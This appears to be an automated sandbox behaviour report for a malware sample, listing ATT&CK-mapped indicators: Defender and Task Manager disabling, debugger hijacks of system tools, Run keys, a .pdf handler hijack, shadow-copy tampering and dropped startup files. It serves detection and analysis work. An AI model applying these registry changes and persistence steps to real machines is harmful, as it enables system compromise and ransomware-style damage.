nanocore | dfd0b889f3a49e6c3e5422ffc05bdccfa6c113f69de80da640ac44c474970888

Windows Service

Disable or Modify Tools

T1562.001

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	xoso660111.com_chrome.exe

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
5760	powershell.exe

Disables RegEdit via registry modification 1 IoCs

defense_evasion

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-1262770251-41185387-1005173349-1000\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1"	xoso660111.com_chrome.exe

Disables Task Manager via registry modification
defense_evasion

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	xoso660111.com_chrome.exe

Event Triggered Execution: Image File Execution Options Injection 1 TTPs 6 IoCs

persistence

Image File Execution Options Injection

T1546.012

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\xoso660111.com_chrome.exe"	xoso660111.com_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe	xoso660111.com_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\xoso660111.com_chrome.exe"	xoso660111.com_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe	xoso660111.com_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\xoso660111.com_chrome.exe"	xoso660111.com_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe	xoso660111.com_chrome.exe

Modifies Windows Firewall 2 TTPs 1 IoCs

defense_evasion

Windows Service

persistence privilege_escalation

Disable or Modify System Firewall

T1562.004

pid	Process
2056	netsh.exe

Creates a file in the Startup directory 1 TTPs 64 IoCs

A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

Registry Run Keys / Startup Folder

description	ioc	Process
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_100.pdf	xoso660111.com_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_22.pdf	xoso660111.com_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_41.pdf	xoso660111.com_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_127.pdf	xoso660111.com_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_13.pdf	xoso660111.com_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_64.pdf	xoso660111.com_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_92.pdf	xoso660111.com_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_104.pdf	xoso660111.com_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_127.pdf	xoso660111.com_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_154.pdf	xoso660111.com_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_180.pdf	xoso660111.com_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_30.pdf	xoso660111.com_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_44.pdf	xoso660111.com_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_45.pdf	xoso660111.com_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_68.pdf	xoso660111.com_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_117.pdf	xoso660111.com_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_165.pdf	xoso660111.com_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_168.pdf	xoso660111.com_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_6.pdf	xoso660111.com_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_33.pdf	xoso660111.com_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_113.pdf	xoso660111.com_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_124.pdf	xoso660111.com_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_146.pdf	xoso660111.com_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_180.pdf	xoso660111.com_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_20.pdf	xoso660111.com_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_40.pdf	xoso660111.com_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_67.pdf	xoso660111.com_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_91.pdf	xoso660111.com_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_145.pdf	xoso660111.com_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_162.pdf	xoso660111.com_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_11.pdf	xoso660111.com_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_46.pdf	xoso660111.com_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_48.pdf	xoso660111.com_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_79.pdf	xoso660111.com_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_94.pdf	xoso660111.com_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_167.pdf	xoso660111.com_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_174.pdf	xoso660111.com_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_192.pdf	xoso660111.com_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_16.pdf	xoso660111.com_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_31.pdf	xoso660111.com_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_39.pdf	xoso660111.com_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_44.pdf	xoso660111.com_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_45.pdf	xoso660111.com_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_48.pdf	xoso660111.com_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_54.pdf	xoso660111.com_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_65.pdf	xoso660111.com_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_71.pdf	xoso660111.com_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_73.pdf	xoso660111.com_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_74.pdf	xoso660111.com_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_81.pdf	xoso660111.com_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_97.pdf	xoso660111.com_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_139.pdf	xoso660111.com_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_195.pdf	xoso660111.com_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_22.pdf	xoso660111.com_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_3.pdf	xoso660111.com_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_32.pdf	xoso660111.com_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_34.pdf	xoso660111.com_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_42.pdf	xoso660111.com_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_96.pdf	xoso660111.com_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_148.pdf	xoso660111.com_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_151.pdf	xoso660111.com_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_35.pdf	xoso660111.com_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_57.pdf	xoso660111.com_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_60.pdf	xoso660111.com_chrome.exe

Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Adds Run key to start application 2 TTPs 3 IoCs

persistence

Registry Run Keys / Startup Folder

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1262770251-41185387-1005173349-1000\Software\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\xoso660111.com_chrome.exe"	xoso660111.com_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\xoso660111.com_chrome.exe"	xoso660111.com_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Malware = "C:\\Users\\Admin\\AppData\\Local\\Temp\\xoso660111.com_chrome.exe"	xoso660111.com_chrome.exe

Discovers running processes 1 TTPs 1 IoCs

Running process information can be used to identify security tools or plan follow-on actions.

discovery

Process Discovery

T1057

pid	Process
6100	tasklist.exe

Drops file in System32 directory 3 IoCs

description	ioc	Process
File created	C:\Windows\system32\svchost.exe	xoso660111.com_chrome.exe
File created	C:\Windows\system32\sysupdate.exe	xoso660111.com_chrome.exe
File opened for modification	C:\Windows\system32\sysupdate.exe	xoso660111.com_chrome.exe

Executes a VBScript file via the Windows Script Host. 1 TTPs 2 IoCs

execution

Visual Basic

T1059.005

pid	Process
2152	wscript.exe
4124	wscript.exe

Sets desktop wallpaper using registry 2 TTPs 2 IoCs

ransomware

Defacement

T1491

Modify Registry

persistence privilege_escalation

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1262770251-41185387-1005173349-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\wallpaper.bmp"	xoso660111.com_chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1262770251-41185387-1005173349-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\SysUpdate\\wall.bmp"	xoso660111.com_chrome.exe

Launches sc.exe 12 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
1380	sc.exe
5108	sc.exe
420	sc.exe
3084	sc.exe
4548	sc.exe
3384	sc.exe
3212	sc.exe
1696	sc.exe
1284	sc.exe
3676	sc.exe
3708	sc.exe
3244	sc.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Executes a command shell one-liner 1 TTPs 7 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4944	cmd.exe
4812	cmd.exe
1300	cmd.exe
3844	cmd.exe
5788	cmd.exe
2896	cmd.exe
2820	cmd.exe

Reads the TCP/IP host and domain name from the registry 1 TTPs 8 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	xoso660111.com_chrome.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	xoso660111.com_chrome.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	WMIC.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
5196	chrome.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe

Gathers network information 2 TTPs 2 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

Command and Scripting Interpreter

T1059

pid	Process
3948	ipconfig.exe
4564	NETSTAT.EXE

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

pid	Process
4780	systeminfo.exe

Interacts with shadow copies 3 TTPs 3 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
2156	vssadmin.exe
6084	vssadmin.exe
3016	vssadmin.exe

Modifies Control Panel 1 IoCs

defense_evasion

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1262770251-41185387-1005173349-1000\Control Panel\Desktop\WallpaperStyle = "2"	xoso660111.com_chrome.exe

Modifies data under HKEY_USERS 7 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\NGC\SoftLockoutVolatileKey	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\SOFTWARE	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\NGC	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\NGC\SoftLockoutVolatileKey	svchost.exe

Modifies registry class 16 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1262770251-41185387-1005173349-1000_Classes\ms-settings\shell	xoso660111.com_chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1262770251-41185387-1005173349-1000_Classes\ms-settings\shell\open\command\DelegateExecute	xoso660111.com_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-1262770251-41185387-1005173349-1000_Classes\ms-settings\shell\open\command	xoso660111.com_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-1262770251-41185387-1005173349-1000_Classes\ms-settings	xoso660111.com_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell	xoso660111.com_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open	xoso660111.com_chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-1262770251-41185387-1005173349-1000_Classes\ms-settings\shell\open\command	xoso660111.com_chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1262770251-41185387-1005173349-1000_Classes\ms-settings\shell\open\command\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\xoso660111.com_chrome.exe"	xoso660111.com_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-1262770251-41185387-1005173349-1000_Classes\ms-settings\shell\open	xoso660111.com_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command\ = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\xoso660111.com_chrome.exe\" \"%1\""	xoso660111.com_chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-1262770251-41185387-1005173349-1000_Classes\ms-settings\shell\open	xoso660111.com_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-1262770251-41185387-1005173349-1000_Classes\ms-settings\shell	xoso660111.com_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.pdf\ = "PDFBotnet"	xoso660111.com_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command	xoso660111.com_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet	xoso660111.com_chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-1262770251-41185387-1005173349-1000_Classes\ms-settings	xoso660111.com_chrome.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
1660	schtasks.exe
2360	schtasks.exe
4860	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
552	chrome.exe
552	chrome.exe
5760	powershell.exe
5760	powershell.exe
5760	powershell.exe
2688	WMIC.exe
2688	WMIC.exe
2688	WMIC.exe
2688	WMIC.exe
1952	xoso660111.com_chrome.exe
1952	xoso660111.com_chrome.exe
1952	xoso660111.com_chrome.exe
1952	xoso660111.com_chrome.exe
1952	xoso660111.com_chrome.exe
1952	xoso660111.com_chrome.exe
1952	xoso660111.com_chrome.exe
1952	xoso660111.com_chrome.exe
1952	xoso660111.com_chrome.exe
2380	WMIC.exe
2380	WMIC.exe
2380	WMIC.exe
2380	WMIC.exe
3528	WMIC.exe
3528	WMIC.exe
3528	WMIC.exe
3528	WMIC.exe
1952	xoso660111.com_chrome.exe
1952	xoso660111.com_chrome.exe
1952	xoso660111.com_chrome.exe
1952	xoso660111.com_chrome.exe
1952	xoso660111.com_chrome.exe
1952	xoso660111.com_chrome.exe
1952	xoso660111.com_chrome.exe
1952	xoso660111.com_chrome.exe
1952	xoso660111.com_chrome.exe
1952	xoso660111.com_chrome.exe
1952	xoso660111.com_chrome.exe
1952	xoso660111.com_chrome.exe
1952	xoso660111.com_chrome.exe
1952	xoso660111.com_chrome.exe
1952	xoso660111.com_chrome.exe
1952	xoso660111.com_chrome.exe
1952	xoso660111.com_chrome.exe
1952	xoso660111.com_chrome.exe
1952	xoso660111.com_chrome.exe
1952	xoso660111.com_chrome.exe
1952	xoso660111.com_chrome.exe
1952	xoso660111.com_chrome.exe
1952	xoso660111.com_chrome.exe
1952	xoso660111.com_chrome.exe
1952	xoso660111.com_chrome.exe
1952	xoso660111.com_chrome.exe
1952	xoso660111.com_chrome.exe
1952	xoso660111.com_chrome.exe
1952	xoso660111.com_chrome.exe
1952	xoso660111.com_chrome.exe
1952	xoso660111.com_chrome.exe
1952	xoso660111.com_chrome.exe
1952	xoso660111.com_chrome.exe
1952	xoso660111.com_chrome.exe
1952	xoso660111.com_chrome.exe
1952	xoso660111.com_chrome.exe
1952	xoso660111.com_chrome.exe
1952	xoso660111.com_chrome.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
1952	xoso660111.com_chrome.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 13 IoCs

pid	Process
552	chrome.exe
552	chrome.exe
552	chrome.exe
552	chrome.exe
552	chrome.exe
552	chrome.exe
552	chrome.exe
552	chrome.exe
552	chrome.exe
552	chrome.exe
552	chrome.exe
552	chrome.exe
552	chrome.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	552	chrome.exe
Token: SeCreatePagefilePrivilege	552	chrome.exe
Token: SeShutdownPrivilege	552	chrome.exe
Token: SeCreatePagefilePrivilege	552	chrome.exe
Token: SeDebugPrivilege	5760	powershell.exe
Token: SeShutdownPrivilege	552	chrome.exe
Token: SeCreatePagefilePrivilege	552	chrome.exe
Token: SeShutdownPrivilege	552	chrome.exe
Token: SeCreatePagefilePrivilege	552	chrome.exe
Token: SeShutdownPrivilege	552	chrome.exe
Token: SeCreatePagefilePrivilege	552	chrome.exe
Token: SeIncreaseQuotaPrivilege	2688	WMIC.exe
Token: SeSecurityPrivilege	2688	WMIC.exe
Token: SeTakeOwnershipPrivilege	2688	WMIC.exe
Token: SeLoadDriverPrivilege	2688	WMIC.exe
Token: SeSystemProfilePrivilege	2688	WMIC.exe
Token: SeSystemtimePrivilege	2688	WMIC.exe
Token: SeProfSingleProcessPrivilege	2688	WMIC.exe
Token: SeIncBasePriorityPrivilege	2688	WMIC.exe
Token: SeCreatePagefilePrivilege	2688	WMIC.exe
Token: SeBackupPrivilege	2688	WMIC.exe
Token: SeRestorePrivilege	2688	WMIC.exe
Token: SeShutdownPrivilege	2688	WMIC.exe
Token: SeDebugPrivilege	2688	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2688	WMIC.exe
Token: SeRemoteShutdownPrivilege	2688	WMIC.exe
Token: SeUndockPrivilege	2688	WMIC.exe
Token: SeManageVolumePrivilege	2688	WMIC.exe
Token: 33	2688	WMIC.exe
Token: 34	2688	WMIC.exe
Token: 35	2688	WMIC.exe
Token: 36	2688	WMIC.exe
Token: SeIncreaseQuotaPrivilege	2688	WMIC.exe
Token: SeSecurityPrivilege	2688	WMIC.exe
Token: SeTakeOwnershipPrivilege	2688	WMIC.exe
Token: SeLoadDriverPrivilege	2688	WMIC.exe
Token: SeSystemProfilePrivilege	2688	WMIC.exe
Token: SeSystemtimePrivilege	2688	WMIC.exe
Token: SeProfSingleProcessPrivilege	2688	WMIC.exe
Token: SeIncBasePriorityPrivilege	2688	WMIC.exe
Token: SeCreatePagefilePrivilege	2688	WMIC.exe
Token: SeBackupPrivilege	2688	WMIC.exe
Token: SeRestorePrivilege	2688	WMIC.exe
Token: SeShutdownPrivilege	2688	WMIC.exe
Token: SeDebugPrivilege	2688	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2688	WMIC.exe
Token: SeRemoteShutdownPrivilege	2688	WMIC.exe
Token: SeUndockPrivilege	2688	WMIC.exe
Token: SeManageVolumePrivilege	2688	WMIC.exe
Token: 33	2688	WMIC.exe
Token: 34	2688	WMIC.exe
Token: 35	2688	WMIC.exe
Token: 36	2688	WMIC.exe
Token: SeShutdownPrivilege	552	chrome.exe
Token: SeCreatePagefilePrivilege	552	chrome.exe
Token: SeBackupPrivilege	924	vssvc.exe
Token: SeRestorePrivilege	924	vssvc.exe
Token: SeAuditPrivilege	924	vssvc.exe
Token: SeShutdownPrivilege	552	chrome.exe
Token: SeCreatePagefilePrivilege	552	chrome.exe
Token: SeShutdownPrivilege	552	chrome.exe
Token: SeCreatePagefilePrivilege	552	chrome.exe
Token: SeIncreaseQuotaPrivilege	5760	powershell.exe
Token: SeSecurityPrivilege	5760	powershell.exe

Suspicious use of FindShellTrayWindow 34 IoCs

pid	Process
552	chrome.exe
552	chrome.exe
552	chrome.exe
552	chrome.exe
552	chrome.exe
552	chrome.exe
552	chrome.exe
552	chrome.exe
552	chrome.exe
552	chrome.exe
552	chrome.exe
552	chrome.exe
552	chrome.exe
552	chrome.exe
552	chrome.exe
552	chrome.exe
552	chrome.exe
552	chrome.exe
552	chrome.exe
552	chrome.exe
552	chrome.exe
552	chrome.exe
552	chrome.exe
552	chrome.exe
552	chrome.exe
552	chrome.exe
552	chrome.exe
552	chrome.exe
552	chrome.exe
552	chrome.exe
552	chrome.exe
552	chrome.exe
552	chrome.exe
552	chrome.exe

Suspicious use of SendNotifyMessage 16 IoCs

pid	Process
552	chrome.exe
552	chrome.exe
552	chrome.exe
552	chrome.exe
552	chrome.exe
552	chrome.exe
552	chrome.exe
552	chrome.exe
552	chrome.exe
552	chrome.exe
552	chrome.exe
552	chrome.exe
552	chrome.exe
552	chrome.exe
552	chrome.exe
552	chrome.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
1952	xoso660111.com_chrome.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1952 wrote to memory of 552	1952	xoso660111.com_chrome.exe	90
PID 552 wrote to memory of 3328	552	chrome.exe	91
PID 1952 wrote to memory of 5760	1952	xoso660111.com_chrome.exe	92
PID 552 wrote to memory of 5196	552	chrome.exe	95
PID 1952 wrote to memory of 4548	1952	xoso660111.com_chrome.exe	94
PID 552 wrote to memory of 5048	552	chrome.exe	97
PID 552 wrote to memory of 5048	552	chrome.exe	97
PID 552 wrote to memory of 4332	552	chrome.exe	96
PID 552 wrote to memory of 4332	552	chrome.exe	96
PID 552 wrote to memory of 5864	552	chrome.exe	100
PID 552 wrote to memory of 5864	552	chrome.exe	100
PID 552 wrote to memory of 3392	552	chrome.exe	101
PID 552 wrote to memory of 3392	552	chrome.exe	101
PID 1952 wrote to memory of 3676	1952	xoso660111.com_chrome.exe	102
PID 1952 wrote to memory of 3708	1952	xoso660111.com_chrome.exe	104
PID 1952 wrote to memory of 3244	1952	xoso660111.com_chrome.exe	106
